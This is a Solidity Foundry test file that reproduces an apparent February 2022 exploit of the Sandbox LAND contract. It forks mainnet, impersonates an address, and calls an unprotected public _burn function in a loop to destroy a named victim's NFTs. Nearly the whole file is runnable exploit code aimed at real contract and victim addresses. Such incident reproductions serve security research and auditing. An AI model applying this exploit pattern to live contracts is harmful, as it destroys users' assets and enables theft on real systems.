src/test/2022-02/Sandbox_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8contract ContractTest is Test {
9    ILand Land = ILand(0x50f5474724e0Ee42D9a4e711ccFB275809Fd6d4a);
10    address victim = 0x9cfA73B8d300Ec5Bf204e4de4A58e5ee6B7dC93C;
11    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
12 
13    function setUp() public {
14        cheats.createSelectFork("mainnet", 14_163_041); //fork mainnet at block 14163041
15    }
16 
17    function testExploit() public {
18        cheats.startPrank(0x6FB0B915D0e10c3B2ae42a5DD879c3D995377A2C);
19        console.log("Before exploiting, victim owned NFT:", Land._numNFTPerAddress(victim)); // 2762 is the number of NFTs in the victim's account.
20        for (uint256 i = 0; i < 100; i++) {
21            // let's try to burn 100 nfts
22            Land._burn(victim, victim, 3738); // _burn function that was set to be called was set in a public state, anyone can burn any user's NFT.
23        }
24        console.log("After exploiting, victim owned NFT:", Land._numNFTPerAddress(victim));
25    }
26}